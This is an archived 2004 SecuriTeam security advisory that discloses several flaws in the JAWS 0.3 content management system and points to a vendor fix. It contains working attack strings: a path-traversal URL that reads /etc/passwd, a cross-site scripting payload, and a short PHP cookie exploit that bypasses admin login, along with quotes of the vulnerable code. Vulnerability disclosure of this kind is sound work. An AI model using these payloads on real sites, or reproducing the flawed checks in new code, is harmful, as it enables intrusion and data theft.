

[UNIX] Multiples Vulnerabilities In JAWS

Source: <http://www.derkeiler.com/Mailing-Lists/Securiteam/2004-07/0031.html>

From: SecuriTeam (support_at_securiteam.com)

Date: 07/11/04

To: list@securiteam.com

Date: 11 Jul 2004 12:27:25 +0200

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: <http://www.securiteam.com>

-- promotion

The SecuriTeam alerts list – Free, Accurate, Independent.

Get your security news from a reliable source.

<http://www.securiteam.com/maillinglist.html>

Multiples Vulnerabilities In JAWS

SUMMARY

<<http://www.jaws.com.mx/>> Jaws is "a Framework and Content Management System for building dynamic web sites".

The index.php page contains multiple vulnerabilities that allows a malicious attacker to bypass authentication, read arbitrary files and perform Cross-Site-Scripting attacks.

DETAILS

Vulnerable Systems:

* JAWS 0.3

Full path disclosure:

Many ways exist in the code that allows determining the full path to the web root directory: For example:

<http://example.com/jaws/index.php?gadget=filebrowser&path=/etc>

Vulnerable Code:

The jaws_error() function, it returns the line and the full path to the name of the file:

Function jaws_error(\$text, \$file, \$line)

```
{
```

Securiteam: [UNIX] Multiples Vulnerabilities In JAWS

```
print ("<b style=\"color: #f00;\" JAWS Error:</b><br/>".$text."<br/><i>".$text."<br/><i>".$file.",line ".$line);
exit;
}
```

Trying to open some file in the include directory

<http://example.com/jaws/include/config.php>

Arbitrary file browsing:

We can accessed to the file's content through the variable gadget. For example, it is possible to open /etc/passwd in the following way:

<http://example.com/jaws/index.php?gadget=../../../../../../../../etc/passwd%00&path=/etc>

The use of the "path" variable is irrelevant, in the code can be seen a line like:

`$path= str_replace (".","",$path) -->` at this way we filter the content of path, but in the index.php file the gadget variable is not filter.

The "%00" is necessary because the script adds at the end of the name of gadget variable the extension ".php"

Cross Site Scripting:

Cross site scripting is possible in the variable action, because it script returns the content of the variable:

[http://127.0.0.1/jaws/index.php?gadget=\[a valid gadget\]&action=bold letter](http://127.0.0.1/jaws/index.php?gadget=[a valid gadget]&action=bold letter)

[http://127.0.0.1/jaws/index.php?gadget=\[a valid gadget\]&action=<script>alert\('Colombia Rulx!!'\);</script>](http://127.0.0.1/jaws/index.php?gadget=[a valid gadget]&action=<script>alert('Colombia Rulx!!');</script>)

Vulnerable Code:

From index.php:

```
jaws_error ("Invalid operation: You can't display this action
[".$go_gadget->name."::".$go_gadget->action."]",__file__,__line__);
where ".$go_gadget->action" content the erroneous action.
```

Bypassing password Authentication:

There exist a way that allow us to get in the control panel with administrator rights without a password.

The admin.php file has:

```
if ($GLOBALS["app"]->logged_on())
{
control panel code...
..
}
```

The logged_on() function is in the application.php file. The function's code:

```
function logged_on()
{
return (md5($_SESSION["logged"]) == $_COOKIE["logged"]);
```

Securiteam: [UNIX] Multiples Vulnerabilities In JAWS

}

The \$_SESSION["logged"] variable before entering the Control Panel has a Null ("") value. A possible way to exploit it should be:

```
//BEGIN
//exploit.php
<?PHP
setcookie("logged","d41d8cd98f00b204e9800998ecf8427e",time()+86400*365,'path to jaws');
?>
//END
```

Where "d41d8cd98f00b204e9800998ecf8427e" is the MD5 hash for the NULL value. This way we can create a cookie (that look like from the remote system) and then try the URL:

<http://example.com/jaws/admin.php>

And the authentication is bypassed.

Solution:

To fix this issue, please replace your index.php with the file in the vendor's site available at: <<http://jaws.com.mx/files/index.php.txt>>
<http://jaws.com.mx/files/index.php.txt>

ADDITIONAL INFORMATION

The information has been provided by <<mailto:nando@gigax.org>> Fernando Quintero.

=====

This bulletin is sent to members of the SecuriTeam mailing list.

To unsubscribe from the list, send mail with an empty subject line and body to:

list-unsubscribe@securiteam.com

In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

=====

DISCLAIMER:

The information in this bulletin is provided "AS IS" without warranty of any kind.

In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.